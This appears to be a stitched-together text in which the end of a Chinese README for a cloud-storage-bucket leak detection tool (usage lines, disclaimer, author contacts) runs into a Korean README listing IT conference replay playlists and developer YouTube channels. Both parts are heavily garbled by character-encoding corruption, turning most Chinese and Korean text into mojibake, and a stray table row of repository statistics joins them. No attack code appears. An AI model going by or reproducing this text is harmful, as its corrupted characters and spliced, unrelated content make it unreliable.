พ่ฎฏไบๅญๅจๆกถ
```bash
python3 main.py -tcloud [ๅญๅจๆกถๅฐๅ]
```
## 3ใๅไธบไบๅญๅจๆกถ
```bash
python3 main.py -hcloud [ๅญๅจๆกถๅฐๅ]
```
## 4ใAWSๅญๅจๆกถ
```bash
python3 main.py -aws [ๅญๅจๆกถๅฐๅ]
```
## 5ใๆซๆ็ปๆไฟๅญ
ๆซๆ็ปๆไผๅญๆพๅจ`results`็ฎๅฝไธ
# :cop:0xFFFFFFFF ๅ
่ดฃๅฃฐๆ
1ใๆฌๅทฅๅ
ทๅชไฝไธบๅญฆๆฏไบคๆต๏ผ็ฆๆญขไฝฟ็จๅทฅๅ
ทๅ่ฟๆณ็ไบๆ
2ใๅชๆฏๅ็็ฉ
3ใๆ็ๅพฎไฟก
> ๅฆๆไฝ ๆๆดๅฅฝ็ๅปบ่ฎฎๆ่
ไบคไธชๆๅ
<img src="images/157070417-dbb7886f-1bb8-412f-a30b-0f85bc8ffa10.png" alt="image" style="zoom:33%;" />
4ใๅๅฎข: UzzJu.com
5ใๅ
ฌไผๅท
## 404ๆ้พ่ฎกๅ
**Cloud-Bucket-Leak-Detection-Tools** ็ฐๅทฒๅ ๅ
ฅ [404ๆ้พ่ฎกๅ](https://github.com/knownsec/404StarLink)
# ๆฒ็บฟๅพ
[](https://starchart.cc/UzJu/Cloud-Bucket-Leak-Detection-Tools) | ๅ
ญๅคงไบๅญๅจ๏ผๆณ้ฒๅฉ็จๆฃๆตๅทฅๅ
ท | null | 3 | 1 | 2 | 42 | 8 | 1 | 0 |
hibuz/dev-conf-replay | [](https://github.com/hibuz/dev-conf-replay/commits/main.atom)
[](https://hits.seeyoufarm.com)
[](https://github.com/hibuz/dev-conf-replay/actions/workflows/check_links.yml)
# ๊ตญ๋ด IT ์ธ๋ฏธ๋ ๋ฐ ๊ฐ๋ฐ์ ์ปจํผ๋ฐ์ค (๋ค์๋ณด๊ธฐ) ๐
โจ ์ ๊ท์์
- `2024.06.03` [`IT๊ธฐ์
`](#it๊ธฐ์
) > 6์ ์ฐ์ํํ
ํฌ์ธ๋ฏธ๋ > [๊ธ๋ก๋ฒ ๊ฐ๋ฐ์๋ก ์ฑ์ฅํ๋ ๋ฒ](https://youtu.be/Nb2RnQzxu4I?list=PLgXGHBqgT2TtGi82mCZWuhMu-nQy301ew)
- `2024.05.29` [`์ปค๋ฎค๋ํฐ`](#์ปค๋ฎค๋ํฐ) > AWSKRUG ํ๋ก ํธ์๋ ์๋ชจ์ > [Next.js์ AWS ECS, CI/CD ๊ทธ๋ฆฌ๊ณ CDN์ ๊ณ๋ค์ธ](https://youtu.be/dCZKSMO_ebg?list=PLX2fs3661XpNfRSZ9TD_xyQdegvtNDsdw)
- `2024.05.28` [`์ธ๊ณต์ง๋ฅ`](#์ธ๊ณต์ง๋ฅ) > ๋ชจ๋ํ > [์จ๋๋ฐ์ด์ค AI ๋ฐ ๋ก์ปฌ AI์ ๋์ ๊ณผ์ ](https://youtu.be/mlebHixCgXQ?list=PLv6H9ngYdJbKcGl2VrVBr8YAClPcVrrim)
โก ๋ฐ๋ก๊ฐ๊ธฐ
> [`IT๊ธฐ์
`](#it๊ธฐ์
) [`์ธ๊ณต์ง๋ฅ`](#์ธ๊ณต์ง๋ฅ) [`๋น
๋ฐ์ดํฐ`](#๋น
๋ฐ์ดํฐ) [`ํด๋ผ์ฐ๋`](#ํด๋ผ์ฐ๋) [`์ธํ๋ผ & ๋ฐ๋ธ์ต์ค`](#์ธํ๋ผ--๋ฐ๋ธ์ต์ค) [`๋ธ๋ก์ฒด์ธ`](#๋ธ๋ก์ฒด์ธ) [`๋ชจ๋น๋ฆฌํฐ`](#๋ชจ๋น๋ฆฌํฐ) [`๊ฒ์`](#๊ฒ์) [`๋ณด์`](#๋ณด์) [`๋ชจ๋ฐ์ผ`](#๋ชจ๋ฐ์ผ) [`ํ๋ก ํธ์๋ & JS`](#ํ๋ก ํธ์๋--js) [`ํ๋ก๊ทธ๋๋ฐ ์ธ์ด`](#ํ๋ก๊ทธ๋๋ฐ-์ธ์ด) [`์คํ์์ค`](#์คํ์์ค) [`๊ต์ก`](#๊ต์ก) [`์ปค๋ฎค๋ํฐ`](#์ปค๋ฎค๋ํฐ) [`๊ธฐํ`](#๊ธฐํ)
## ๊ฐ๋ฐ๊ด๋ จ ์ ํ๋ธ ์ฑ๋
- updated at `2024.05.06`
1. `59.7๋ง` ์กฐ์ฝ๋ฉ JoCoding > https://www.youtube.com/@jocoding
2. `49.4๋ง` ๋
ธ๋ง๋ ์ฝ๋ Nomad Coders > https://www.youtube.com/@nomadcoders
3. `34.6๋ง` ์ํ์ฝ๋ฉ > https://www.youtube.com/@coohde
4. `34.1๋ง` ๋๋์ฝ๋ฉ > https://www.youtube.com/@nadocoding
5. `26.8๋ง` ์ฝ๋ฉ์ ํ > https://www.youtube.com/@codingapple
6. `17.2๋ง` ๋๋ฆผ์ฝ๋ฉ > https://www.youtube.com/@dream-coding
7. `17.0๋ง` ๋๋น๋ > https://www.youtube.com/@dongbinna
8. `16.3๋ง` ์ฝ๋ฉํ๋๊ฑฐ๋ > https://www.youtube.com/@gunnycoding
9. `14.6๋ง` ์๋์ฝ๋ฉ > https://www.youtube.com/@WonieSong
10. `11.1๋ง` ๊ฐ๋ฐ์ ๋ผ๋ผ > https://www.youtube.com/@devlala
## IT๊ธฐ์
- ๋ค์ด๋ฒ
- [DEVIEW](https://deview.kr) - [2020](https://tv.naver.com/v/16968202/list/657024) | [2021](https://tv.naver.com/v/23700321/list/753227) | [2023](https://www.youtube.com/playlist?list=PLsFtzQAC8dDcQAcSG4PNrW7-0ExDZqqJA) - 2023.02.27~28
- TECH CONCERT - [2020](https://tv.naver.com/v/15353556/list/629240) - 2020.08.19~20
- [NAVER Search Colloquium](https://searchcolloquium.naver.com) - [2021](https://tv.naver.com/v/20307278/list/709884) | [2022](https://tv.naver.com/v/26581332/list/785512) - 2022.05.03
- [NAVER ENGINEERING DAY 2023](https://www.youtube.com/playlist?list=PLsFtzQAC8dDfk-KmvmagozbYtQ2Fmpmpi) - 2023.07.31
- ์นด์นด์ค
- [if(kakao)](https://if.kakao.com) - [2020](https://elseif.kakao.com/2020) | [2021](https://elseif.kakao.com/2021) | [2022](https://if.kakao.com/session?t.bab36uRci8=0) - 2022.12.07~09
- [kakao tech meet](https://tech.kakao.com/) - [์ 1ํ](https://www.youtube.com/playlist?list=PLwe9WEhzDhwF36thY2_SVoayAz_KRWv_f), [์ 2ํ](https://www.youtube.com/playlist?list=PLwe9WEhzDhwFk-bT7qYW0w8TPddhsQU0u), [์ 3ํ](https://www.youtube.com/playlist?list=PLwe9WEhzDhwHzbY2_YFUZs0qjGo3CnnDf), [์ 4ํ](https://www.youtube.com/playlist?list=PLwe9WEhzDhwHa1EDC2e2-XCpIrgHMsvtn), [์ 5ํ](https://www.youtube.com/playlist?list=PLwe9WEhzDhwEIEMal76jXu70_L8ad-k-Y) - 2024.06.13
- ๋ผ์ธ
- LINE [DEVELOPER DAY](https://linedevday.linecorp.com) - [2020](https://www.youtube.com/playlist?list=PLI2S-k0Fa59vrCkUC9G8kiu7w4PRXJI_5) | [2021](https://www.youtube.com/playlist?list=PLI2S-k0Fa59uUuHm1z3kxCFw8rC8t6G13) | [Tech-Verse 2022](https://www.youtube.com/playlist?list=PLMfHuI-eghZngpW8gzd6RAMlMwmwiN0Bg) - 2022.11.17~18
- [๊ฐ๋ฐ์ ๋ฐ์
](https://www.youtube.com/playlist?list=PLCLlfefjD20Dxye1oiE8NBaFG9pMEg1dC) - 2023.02.23
- ์ฟ ํก
- [Reveal](https://event.coupangcorp.com) - [2020](https://www.youtube.com/playlist?list=PLPEWOJIs9P6gZJU6aXPilU-kXHVXOPiNz) | [2021](https://www.youtube.com/playlist?list=PLPEWOJIs9P6jjpZqjLMt4GrwxjZ4xRaNp) - 2021.12.09
- ๋ฐฐ๋ฌ์ ๋ฏผ์กฑ
- [์ฐ์์ฝ](https://woowacon.com) - [2020](https://www.youtube.com/playlist?list=PLgXGHBqgT2TuFNlBkBRqf57__Z5IKfo8U) | [2021](https://www.youtube.com/playlist?list=PLgXGHBqgT2Ttcttvjy5_4GacLPcs6iM-s) | [2022](https://youtu.be/dReFpG8aVwU?list=PLgXGHBqgT2TsFnKRe3_kvFXDFUWxaUvQ2) | [2023](https://www.youtube.com/playlist?list=PLgXGHBqgT2TundZ81MAVHPzeYOTeII69j) - 2023.11.15
- โจ [์ฐ์ํํ
ํฌ์ธ๋ฏธ๋: ๋งค ์ ๋ง๋๋ ๊ธฐ์ ์ด์ผ๊ธฐ](https://www.youtube.com/playlist?list=PLgXGHBqgT2TtGi82mCZWuhMu-nQy301ew) - 2024.06.03
- [์ด๊ฒ ๋ฌด์จ ์ผ์ด์ผ! ์ปจํผ๋ฐ์ค](https://www.youtube.com/playlist?list=PLu6f31_SRNTiOEKsCAZxdBeWL2UyKk_Lg) - 2022.04.01
- [์ฐ์ํ PM์ ๋ฐค๐](https://www.youtube.com/playlist?list=PLu6f31_SRNTjfCd5y7aLypDTI_IKDxL-t) - 2022.07.07
- ํ ์ค
- [SLASH](https://toss.im/slash-23) - [21, 22, 23](https://www.youtube.com/playlist?list=PL1DJtS1Hv1PiGXmgruP1_gM2TSvQiOsFL) - 2023.06.08~09
- Simplicity(ํ ์ค ๋์์ธ ์ปจํผ๋ฐ์ค) - [21](https://www.youtube.com/playlist?list=PL1DJtS1Hv1PgAekdTPF0lKtfsqAis3HXR) - 2021.08.30~09.02
- ์ผ์ฑ
- SDC Korea - [2022](https://www.youtube.com/playlist?list=PL7PfK8Mp1rLEoOveKoz9vs6BA8eXuy_O8) | [2023](https://www.youtube.com/playlist?list=PL7PfK8Mp1rLEfUuYXsZMnBqtFcAIqbAk7) - 2023.11.14~15
- ์ผ์ฑSDS
- Gen AI Day - 2024 [์ ํต/๋ฆฌํ
์ผ](https://www.youtube.com/playlist?list=PL5CBKg4LPW2cml2-MqeWDwEcu9zAsGLsz), [๊ณต๊ณต](https://www.youtube.com/playlist?list=PL5CBKg4LPW2dTQHClWbAJzD6NPfi-PDf4) - 2024.04.19
- Techtonic - [2020](https://www.samsungsds.com/kr/event/techtonic2020.html) | [2021](https://www.samsungsds.com/kr/event/techtonic2021.html) - 2021.11.23~24
- REAL SUMMIT - [2020](https://www.youtube.com/playlist?list=PL5CBKg4LPW2fDDfTrui3MJdwy3NgK2ziW) | [2021](https://www.youtube.com/playlist?list=PL5CBKg4LPW2fIhDRr7ljbAv208eyHVGSN) | [2022](https://www.samsungsds.com/kr/real/real-summit-2022.html) | [2023](https://www.youtube.com/playlist?list=PL5CBKg4LPW2cIzr4JDfR7LFl3GJcQrb5p) - 2023.09.12
- SK
- [SK ICT Tech Summit](https://www.sktechsummit.com) - [2022](https://www.youtube.com/@sktechsummit/playlists) | [2023](https://www.sktechsummit.com/sessions/sessionsList.do) - 2023.11.16~17
- [๋ฐ๋ณด์
(DEVOCEAN)](https://devocean.sk.com) - [ํ
ํฌ ์ธ๋ฏธ๋](https://www.youtube.com/playlist?list=PLxMQvxfkXLNmbZAB6THj_RQyCrc6Ok5eS) - 2023.12.21
- ๋ฐ๋ณด์
(DEVOCEAN) - ํ
ํฌ ๋ฐ์ด [์ 1ํ](https://www.youtube.com/playlist?list=PLxMQvxfkXLNm1W2_JZFIxCeuxhDev7j7C) | [์ 2ํ](https://www.youtube.com/playlist?list=PLxMQvxfkXLNkhtvGiIsUlmPYwUJAp97IA) | [์ 3ํ](https://www.youtube.com/playlist?list=PLxMQvxfkXLNlZTU9yUzwXy6XItgql69M_) | [์ 4ํ](https://www.youtube.com/playlist?list=PLxMQvxfkXLNkem4QIPXR24Uwdd3IyOHtJ) | [์ 5ํ](https://www.youtube.com/playlist?list=PLxMQvxfkXLNm5BAsvXC1SItjHApQh3gPe) - 2023.10.20
- LG CNS
- [๋ด ๋
ธ๋ฉ์๋์ ํ์ํ Application Modernization](https://www.youtube.com/playlist?list=PLxcN3kbNdAoAYrRZjyfqp9Mv5Au2mJduT) | [CloudXper ProOps Launching Webinar](https://www.youtube.com/playlist?list=PLxcN3kbNdAoA8N1kDA9ur88spcxOAf-dg) | [Security Summit 2021](https://www.youtube.com/playlist?list=PLxcN3kbNdAoBZhTTb_X_-xZfNGsss2hle) | [Entrue SMART DX 2021](https://www.youtube.com/playlist?list=PLxcN3kbNdAoDeRx9vqmpJRPJsASECi8qw) - 2021.09.14
- [AI Day 2020](https://www.youtube.com/playlist?list=PLxcN3kbNdAoBte9-xyUhS43tWPbiBubah) - 2020.10.15
## ์ธ๊ณต์ง๋ฅ
- ๋ค์ด๋ฒ
- CLOVA [AI NOW](https://naver-ai-now.kr) - [2021](https://tv.naver.com/v/20386632/list/710578) - 2021.05.25
- LG [AI Research](https://www.lgresearch.ai)
- LG AI Talk Concert - [2021](https://www.youtube.com/playlist?list=PL8gIGFY2fYQSMXOINKgJBp0v_UP92-4UZ) | [2022](https://youtu.be/pmvJK6ZNkHY?list=PL8gIGFY2fYQSMXOINKgJBp0v_UP92-4UZ&t=586) | [2023](https://youtu.be/tbeGE19qIk4?list=PL8gIGFY2fYQSMXOINKgJBp0v_UP92-4UZ) - 2023.07.19
- ๋ชจ๋์ ์ฐ๊ตฌ์
- [๋ชจ๋์ฝ](https://moducon.kr) - [2021](https://www.youtube.com/playlist?list=PLv6H9ngYdJbLS2OdGLlL0IslWlhJHgg_L) | [2022](https://www.youtube.com/playlist?list=PLv6H9ngYdJbLJFzeqS0i4ZeYeRHDaXUak) | [2023](https://www.youtube.com/playlist?list=PLv6H9ngYdJbJbdzsU7QfXdFMHuXa95Fvj) - 2023.12.09
- โจ [๋ชจ๋ํ | Pop Pop ํฐ์ง๋ AI ์ธ๋ฏธ๋](https://www.youtube.com/playlist?list=PLv6H9ngYdJbKcGl2VrVBr8YAClPcVrrim) - 2024.05.28
- ์ฝ์นญ์คํฐ๋ ์ธ๋ฏธ๋ - [ํ์ด์ฌ์ผ๋ก ์ปค๋ฆฌ์ด](https://youtu.be/mxuWqUzbD6c?list=PLv6H9ngYdJbIvGCrGWYFfpS0vhkgZjzXj&t=1750), [๋ฐ์ดํฐ๋ก](https://youtu.be/jwnUenNGF04) ์คํฌ UP! - 2022.11.15
- ๊ฐ์ง์ฐ๊ตฌ์
- [Pseudo Lab](https://www.facebook.com/groups/pseudolab) - [PseudoCon 2020](https://www.youtube.com/playlist?list=PLyP9gclj-bv6Mn0XFJa1fiNppjGVaILp4) | [์ 2ํ](https://www.youtube.com/playlist?list=PLyP9gclj-bv5ctl36Z-ysQO2U3TRzODDG) - 2021.05.21
- ์
์คํ
์ด์ง
- [๐ฅ Tech Talks](https://www.youtube.com/playlist?list=PLkeKJYdfv8RLyrQ5WriBcKxMwjmc0c01T) - 2022.03.04
- [๐กInsight Talks](https://www.youtube.com/playlist?list=PLkeKJYdfv8RKPlYhfvsZe2_ugniN2JogS) - 2022.05.26
- ๋๋ธ์
- Lablup conf [1st](https://www.youtube.com/playlist?list=PLYkiFpaI5DIJEfSxXJRhiF_bQF6u9KFLb) | [2nd](https://www.youtube.com/playlist?list=PLYkiFpaI5DILsreVr61Jw2Jgjf3BoCZGV) | [3rd](https://www.youtube.com/playlist?list=PLYkiFpaI5DIKZF61XDM2ENBDyPvwVhNnB) - 2023.10.21
- ์ํธ๋ฃฉ์ค
- ์ํธ๋ฃฉ์ค ์ธ๊ณต์ง๋ฅ ์ปจํผ๋ฐ์ค(SAC) - [2020](https://youtu.be/f_w3s18CGLg?list=PLQKhpTP94IsenU1Z_PSU-4HRWJ--NO_9l) | [2021](https://youtu.be/1nEc4UVaZOU?list=PLQKhpTP94IsenU1Z_PSU-4HRWJ--NO_9l) | [2022](https://youtu.be/D5fOutPofgk) | [2023](https://youtu.be/V_7xw0Nr5CE?list=PLQKhpTP94IscWoPTzE6DaZmCGVpup6acb) - 2023.09.07
- ์ ์์ ๋ฌธ ์จ๋น๋ ์ ๋ฌธ๋ฐฉ์ก [allshow TV](https://www.allshowtv.com)
- AIยทDATA Summit Korea - [2022](https://www.youtube.com/playlist?list=PLumdCu9Q56KqdRLic5zBLPZ3ahrUdN05W) | [2023](https://www.youtube.com/playlist?list=PLumdCu9Q56Kps9gFH2inwXqM2F1AASWhE) - 2023.02.24
- AIยทDX Summit Korea - [2022](https://www.youtube.com/playlist?list=PLumdCu9Q56Kpjjo1SW29u0XnT7JiMNMU0) | [2023](https://www.youtube.com/playlist?list=PLumdCu9Q56KqVnoGXp13ItTijqQq8-uCr) - 2023.05.26
- AI ์ฐจ์ธ๋ ์ปจํ์ผํฐ ์ปจํผ๋ฐ์ค 2021 [์ 4ํ](https://www.youtube.com/playlist?list=PLumdCu9Q56KqLcP6rG01k0CyR9gnbE3kY) | [์ 5ํ](https://www.youtube.com/playlist?list=PLumdCu9Q56KpsceRGouaf0hEUNmx2taQ8) | 2022 [์ 6ํ](https://www.youtube.com/playlist?list=PLumdCu9Q56KrgyTJ8rK4JpxSlBy9cMp2Y) | [2023](https://www.youtube.com/playlist?list=PLumdCu9Q56Kp6LCKlJ8S2hCgxwHd-_sOM), [์ 9ํ](https://www.youtube.com/playlist?list=PLumdCu9Q56KrqL3THdXlkNjBGN6bmsqts) - 2023.09.06
- [2021 AI & Big Data Smart Convergence](https://www.youtube.com/playlist?list=PLumdCu9Q56Kp_SM7qG6ILsleZJTe-zXVy) - 2021.09.09
- ๋๋ํน๊ตฌ SPACE-S
- ๋์ ๋ฌ๋๋ฐ์ด - [DLD 2022](https://www.youtube.com/playlist?list=PLudxIRsX4I3Sj6R-4INhtyNXqC0U5mFuU) - 2022.10.25
- [INNOPOLIS AI ์ธ๋ฏธ๋](https://www.youtube.com/channel/UCJwSFW3lKme5XUZF-cjSPoQ/featured) - 2023.07.26
- Deeplearning Playground ์ปค๋ฎค๋ํฐ
- [์๋
ํ์ธ์ Korea, from W&B](https://youtu.be/sW3VxlJl46o) - 2022.03.26
- ๊ธฐํ
- [2022 Connect to Code(C2C) - ์ฐ์
ํ๊ฒฝ์ ๋์งํธ ์ ํ์ ์ํ AI & ๋จธ์ ๋ฌ๋](https://youtu.be/As3D_NINZ44?t=1769) - 2022.11.15
## ๋น
๋ฐ์ดํฐ
- ํ๊ตญ๋ฐ์ดํฐ์ฐ์
์งํฅ์
- [๋ฐ์ดํฐ ๊ทธ๋๋ ์ปจํผ๋ฐ์ค](https://dataconference.or.kr) - [2020](https://www.youtube.com/playlist?list=PLimZR7g-UQN_UZCckMVWe52Ei8SKimY2o) | [2021](https://www.youtube.com/playlist?list=PLimZR7g-UQN8W9IUPqPl-e0yx-Z6nLzWH) | [2022](https://www.youtube.com/playlist?list=PLimZR7g-UQN_LUB4hqb1UB-RNiNWawE_W) | [2023](https://www.youtube.com/playlist?list=PLimZR7g-UQN8wghJypx86DncmYzPg1Akd) - 2023.12.14
- ๋ฐ์ดํฐ์ผ๋์
- ๋ฐ์ดํฐ์ผ๋์ - [2020](https://www.youtube.com/playlist?list=PL7yPwpDiPFlIO4tiVwCZ391JJ2KwhZzDU) | [2021](https://www.youtube.com/playlist?list=PL7yPwpDiPFlIoiBPrX3fQk6XT-UrE-wRt) | [2022](https://www.youtube.com/playlist?list=PL7yPwpDiPFlJrLWUDjhzoHsrZo_7qwYZT) | [2023](https://www.youtube.com/playlist?list=PL7yPwpDiPFlIIWxRwsDJ5oc1yjNFqSFzB) - 2023.10.14
- ๋น
๋ฐ์ดํฐ ์ฐํฉ๋์๋ฆฌ [๋ณด์์ฆ(BOAZ)](https://www.facebook.com/BOAZbigdata)
- [์ 11ํ](https://www.youtube.com/playlist?list=PLThNmt_l7b6DodqJiUNa8LgjT1B6vt4NC) | [์ 12ํ](https://www.youtube.com/playlist?list=PLThNmt_l7b6CqH3cDSJQjMVBKQRuORwTW) | [์ 13ํ](https://www.youtube.com/playlist?list=PLThNmt_l7b6Bd_5lMozoy8e10XZb7DaKl) | [์ 14ํ](https://www.youtube.com/playlist?list=PLThNmt_l7b6Aa1t7GBv7xotMv1btzq-2U) | [์ 15ํ](https://www.youtube.com/playlist?list=PLThNmt_l7b6A1K4qS4lf9hYd-hg0svRmU) | [์ 16ํ](https://www.youtube.com/playlist?list=PLThNmt_l7b6AEacVgZVcpMxUlWHlXGFor) | [์ 17ํ](https://www.youtube.com/playlist?list=PLThNmt_l7b6Db4-HPgTWW5JJnTrNvmoQS) | [์ 18ํ](https://www.youtube.com/playlist?list=PLThNmt_l7b6Abvmao-_XKqXMSUUocwSY6) | [์ 19ํ](https://www.youtube.com/@bigdataboaz4452/videos) - 2024.01.27
- MLOps Korea
- [2021 MLOps KR 1st community](https://www.youtube.com/playlist?list=PLIuC6QlQQF0Pf-aM0tioYTjrnLzaJaGez) - 2021.06.05
## ํด๋ผ์ฐ๋
- ๋ค์ด๋ฒ ํด๋ผ์ฐ๋ ํ๋ซํผ(NCP)
- NAVER Cloud SUMMIT - [2021](https://www.youtube.com/playlist?list=PLpywxIpxgxhFb9wCdCuiiU6WcWzGFR6c5) | [2022](https://www.youtube.com/playlist?list=PLpywxIpxgxhGY6IJW17IW8-eEHmvWa5FK) - 2022.12.14
- ์ปจํผ๋ฐ์ค - [๊ฒ์ 2021](https://www.youtube.com/playlist?list=PLpywxIpxgxhHK1dGhSMCeebkNshm_Pvkz) | [์ ์กฐ 2021](https://www.youtube.com/playlist?list=PLpywxIpxgxhHkyuYUHEU2gTVbw1_hjxgd) | [๊ธ์ต 2023](https://www.youtube.com/playlist?list=PLpywxIpxgxhFe71pLAwddPMOeMI4zgnGj) - 2023.10.25
- [ํ
ํฌ๋ฐ์
](https://www.youtube.com/playlist?list=PLpywxIpxgxhGpqHTbyiUAV5ZX_xDYkRWK) - 2022.04.20
- [์จ๋ผ์ธ ๊ต์ก](https://www.youtube.com/playlist?list=PLpywxIpxgxhHmVzdtULIaYwzFKjc41TVr) - 2023.03.15
- NHN
- NHN [FORWARD](https://forward.nhn.com) - [2020](https://www.youtube.com/playlist?list=PL42XJKPNDepZbqM9N11RxL5UY_5PbA_Wo) | [2021](https://www.youtube.com/playlist?list=PL42XJKPNDepZC5HXlqxzTTJ_Ai_KDcXRa) | [2022](https://www.youtube.com/playlist?list=PL42XJKPNDepYXyKefvicxlA2fz1aThVs5) - 2022.11.24
- NHN [Cloud make IT](https://makeit.nhncloud.com) - [2022](https://www.youtube.com/playlist?list=PL42XJKPNDepZLj8ZtktFJ6MsF4IdhcQB0) | [2023](https://www.youtube.com/playlist?list=PL42XJKPNDepbuujKpiCqYk3oF3VeBZjI8) - 2023.06.22
- NHN [Cloud On](https://www.youtube.com/playlist?list=PL42XJKPNDepbXNAIIhWrgiD7gSFCuqyRa) - 2023.10.31
- kt cloud
- kt cloud : summit - [2023](https://www.youtube.com/playlist?list=PLaRqSfWeygEfdb6csw41l5R2pDd4RZgOm) | [2024](https://www.youtube.com/playlist?list=PLaRqSfWeygEeR4jeZjzmeiKsQ7pLU8q3G) - 2024.05.02
- [Monthly Webinar](https://www.youtube.com/playlist?list=PLaRqSfWeygEd1iiAaOsfn39VlrTkNMoi1) - 2024.04.25
- ๋ฉ๊ฐ์กด
- [๋์งํธ ๋ค์นดํฌ](https://www.megazone.com/application_form_digitaldacapo2022-apply-220208) - [2022](https://www.youtube.com/playlist?list=PLxTkO33QtxTICeek2PbVPW_zbwZXV0hCe) | [2023](https://www.youtube.com/playlist?list=PLxTkO33QtxTJPzx9GtsJvVdfARm7Af_k7) - 2023.01.10
- AWS [๋ฆฌ์์ค ํ๋ธ](https://kr-resources.awscloud.com)
- AWS re:Invent [2021 ํ๊ตญ์ด ํธ๋](https://www.youtube.com/playlist?list=PLORxAVAC5fUW40w3WpbSbACrHZqhoQmG6) | [2023 ํ๊ตญ์ด ๊ฐ์ฐ](https://www.youtube.com/playlist?list=PLORxAVAC5fUW40w3WpbSbACrHZqhoQmG6) | re:Cap [2020](https://www.youtube.com/playlist?list=PLORxAVAC5fUXzLlNAXGA1HUG2HFgR5T_Q) | [2021](https://www.youtube.com/playlist?list=PLORxAVAC5fUX9IHNx3Zhzfq-cSF-F2H8I) | [2022 Daily Recap](https://www.youtube.com/playlist?list=PLORxAVAC5fUUmumUj0Q4JaraT6WNMbfuO) - 2023.11.27~12.01
- AWS Summit Online Korea [2020](https://www.youtube.com/playlist?list=PLORxAVAC5fUWAd4oEEXU-PSb4LELpPA82) | [2021](https://www.youtube.com/playlist?list=PLORxAVAC5fUW7yw8e0olxjf11Qv010Jz-) | [2022](https://www.youtube.com/playlist?list=PLORxAVAC5fUX7j65Uvp9xAi1hMS6M-2P1) | [2023](https://www.youtube.com/playlist?list=PLORxAVAC5fUVLujXBa2aXPjaMLAM4XNr3) - 2023.05.03~04
- AWS Summit Seoul [2023](https://www.youtube.com/playlist?list=PLORxAVAC5fUVLujXBa2aXPjaMLAM4XNr3) - 2023.05.03~04
- AWS Innovate 2021 - [AI/ML](https://www.youtube.com/playlist?list=PLORxAVAC5fUWUC-lXkou_8oobUArafWE_), [Data](https://www.youtube.com/playlist?list=PLORxAVAC5fUW3stiOQeXwidbOvbm8xYbB), [์ฑํ๋ํ](https://www.youtube.com/playlist?list=PLORxAVAC5fUUFPs8yy-fvYwI6zYSD-by2) | 2022 - [AI/ML](https://www.youtube.com/playlist?list=PLORxAVAC5fUVqyzPFUXdNnD8k1KYRDbwI), [Data](https://www.youtube.com/playlist?list=PLORxAVAC5fUVlqCYPgAzccuKUcmLinrnh), [์ฑํ๋ํ](https://www.youtube.com/playlist?list=PLORxAVAC5fUXJUUqptRtyDasuklx3SCmX), [For Every App](https://www.youtube.com/playlist?list=PLORxAVAC5fUXIsBWZ4F7Vhx7RnAwszKdb) | 2023 - [AI/ML](https://www.youtube.com/playlist?list=PLORxAVAC5fUWkmf6r2ZfGSC1m4rhyfJMO) - 2023.02.22
- AWS Builders ์จ๋ผ์ธ ์๋ฆฌ์ฆ [2021](https://www.youtube.com/playlist?list=PLORxAVAC5fUWPziIFAho12lvGl1hR7ZZ5) | [2022](https://www.youtube.com/playlist?list=PLORxAVAC5fUX_OlbTijMFcH3iYfdCJrqc) | [2023](https://www.youtube.com/playlist?list=PLORxAVAC5fUU7cywJX6ilucVIhxwwfxei) - 2023.01.18
- AWS Startup Week [2023](https://www.youtube.com/playlist?list=PLORxAVAC5fUViBsvUeiG8vEPGWHmTnehN) | [Unicorn Day 2024](https://www.youtube.com/playlist?list=PLORxAVAC5fUV6iiTsRWrk0NOIpEn8k5gE) - 2024.03.20
- Games on AWS [2022](https://www.youtube.com/playlist?list=PLORxAVAC5fUXJK1tgrWEmwgWIZWSqNoGj) | [2023](https://www.youtube.com/playlist?list=PLORxAVAC5fUXTApC8pivE7UXpx-QmESLq) - 2023.10.24
- ์ค๋ผํด [ํด๋ผ์ฐ๋ ์ฌ์ฉ์ ๊ทธ๋ฃน](https://www.facebook.com/groups/koreaoraclecloud)
- [Oracle Database World - Korea](https://youtu.be/zynSuLI1Aa8?list=PL_lN0QYuCPSF5XyXrvWthJdjRtu37XTTu) - 2022.07.21
- [๋๋ฒจ๋กํผ (DEV)](https://www.youtube.com/playlist?list=PL_lN0QYuCPSGzA9TmINzKP61R0p40DX29) - 2024.04.24
- [Oracle Cloud Summit 2024](https://youtu.be/4nnjKMdcnyo?list=PL_lN0QYuCPSGOIK7v2r6TQ_DYdwa8j1Sp) - 2024.01.25
- Google [Cloud Summit](https://cloudonair.withgoogle.com/events/summit-korea-livestream)
- [Google Cloud Summit Seoul '19](https://www.youtube.com/playlist?list=PLBgogxgQVM9tS7Yhzjc3Wt56jc5j-z_4C) - 2019.11.06
- ํ๊ตญ๋ง์ดํฌ๋ก์ํํธ
- [Microsoft Startup Summit 2023](https://www.youtube.com/playlist?list=PLGh_JNxzXsX9NSm-iyAdS4Ioco0vp4jtq) - 2023.10.26
- Azure [Everywhere 2021](https://www.youtube.com/playlist?list=PLGh_JNxzXsX_YkjiqSwDRbEnVOk_vNV0D) | 2022 - [Azure](https://www.youtube.com/playlist?list=PLGh_JNxzXsX-Wu_DN4C6A8EzsI9DLiZHK), [Dev](https://www.youtube.com/playlist?list=PLGh_JNxzXsX9va2yAFrGNBYKAfHNg463b), [Security](https://www.youtube.com/playlist?list=PLGh_JNxzXsX_eHsDpyRV5rJbWb8nrHezV), [Modern Work](https://www.youtube.com/playlist?list=PLGh_JNxzXsX9RxStNUDma-7-cnq4q9oFm) - 2022.04.06~27
- [ํ๊ตญ Azure ์ฌ์ฉ์ ๊ทธ๋ฃน](https://www.facebook.com/groups/krazure)
- [GAV2020KR](https://www.youtube.com/playlist?list=PLFbmOoKZ852WRZkFql8Gv1U-CNX_WRHen) | [Global Azure 2021 Korea](https://www.youtube.com/playlist?list=PLFbmOoKZ852XZ41ODzJqlzB-8sq7VQt0j) - 2021.04.24
- [Kubernetes Korea Group](https://www.facebook.com/groups/k8skr)
- Kubernetes Community Day [KCD Korea 2021](https://www.youtube.com/playlist?list=PL1j_IgwZkt4Mgj7OKf1SHjgAp2UQtey_I) | [2023](https://www.youtube.com/playlist?list=PL1j_IgwZkt4PIWBHTlGr9UDmJTpGjU59C) - 2023.07.03
- Cloud Native Community Groups [CNCG Seoul 2020](https://www.youtube.com/playlist?list=PL1j_IgwZkt4Pug8dpF7yWT5ba-qGybUgN) - 2020.10.29
- ๊ธฐํ
- ์์ด๋IT - [ํด๋ผ์ฐ๋ ์ธํ๋ผ ์ปจํผ๋ฐ์ค](https://youtu.be/NW6oywF_pGM?list=PLyPtqY7T1lotU8fInOfnSuRYxNgLcoahO) - 2022.07.26
